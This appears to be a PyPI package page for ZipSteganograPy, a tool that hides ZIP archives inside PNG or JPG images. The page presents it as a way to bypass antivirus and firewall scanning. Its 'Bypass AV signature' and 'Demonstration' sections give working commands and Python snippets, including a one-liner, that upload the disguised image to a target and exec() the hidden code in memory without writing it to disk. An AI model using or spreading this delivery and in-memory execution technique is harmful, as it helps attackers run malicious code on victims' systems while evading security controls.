This tool hides a ZIP archive in an image.
Project description
ZipSteganograPy
Description
This tool hides a ZIP archive in an image.
This tool is useful for bypassing antivirus and firewall scanning.
Requirements
This package require:
- python3
- python3 Standard Library
Installation
pip install ZipSteganograPy
Usages
# Hide a ZIP archive in an image:
python3 ZipSteganograPy.py -z archive.zip -o stegano -i image.png
python3 ZipSteganograPy.pyz -z archive.zip -o stegano -i image.jpg
# Create a ZIP archive (with 3 text files) and hide it in an image:
python3 -m ZipSteganograPy -f file1.txt file2.txt file3.txt -i image.jpg
ZipSteganograPy -f file1.txt file2.txt file3.txt -i image.png
# Easily extract the hidden archive using python3 and its standard library:
python3 -m zipfile -l stegano.png # list files
python3 -m zipfile -e stegano.jpg output/ # extract
# Easily extract the hidden archive using unzip package:
unzip stegano.jpg -l # list files
unzip stegano.jpg -d output/ # extract
Bypass AV signature
This example load a python code from an image and execute it without writing it on the disk.
This method bypass:
- basic anti-virus analyze based on signatures of files written on the disk
- behavior module
- process memory analyze
from zipfile import ZipFile
with ZipFile("stegano.png", "r") as f:
for filename in f.namelist():
exec(f.read(filename).decode())
Demonstration
On your computer:
ZipSteganograPy -f hello.py -i ZipSteganograPy_small.png
# ZipSteganograPy Copyright (C) 2022 Maurice Lambert
# This program comes with ABSOLUTELY NO WARRANTY.
# This is free software, and you are welcome to redistribute it
# under certain conditions.
# New image 'stegano.png' created from 'ZipSteganograPy_small.png' with hidden ZIP archive.
Upload the stegano.png
file on the target (the zip file will probably not anlyze by firewalls because the file will be detected as a correct image).
On the target (unzip from image and execute your python code without writing it on the disk):
from zipfile import ZipFile
with ZipFile("stegano.png", "r") as f:
for filename in f.namelist():
exec(f.read(filename).decode())
import zipfile;f=zipfile.ZipFile("stegano.png", "r");[exec(f.read(filename).decode()) for filename in f.namelist()]
python3 -c 'import zipfile;f=zipfile.ZipFile("stegano.png", "r");[exec(f.read(filename).decode()) for filename in f.namelist()]'
Proof
Links
Licence
Licensed under the GPL, version 3.
Project details
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
ZipSteganograPy-0.0.4.tar.gz
(318.9 kB
view details)
File details
Details for the file ZipSteganograPy-0.0.4.tar.gz
.
File metadata
- Download URL: ZipSteganograPy-0.0.4.tar.gz
- Upload date:
- Size: 318.9 kB
- Tags: Source
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/4.0.1 CPython/3.10.5
File hashes
Algorithm | Hash digest | |
---|---|---|
SHA256 | f8901b9c623916114b4b0b4f367624a72812063b5b9df1fc7a69c1076a2540e6 |
|
MD5 | aae9c8b56c978d59248cfb1f95896beb |
|
BLAKE2b-256 | fa4ec427b9c5f5ef4a14be116b3bef2a340d03d14ee1310980a1894a4f22f824 |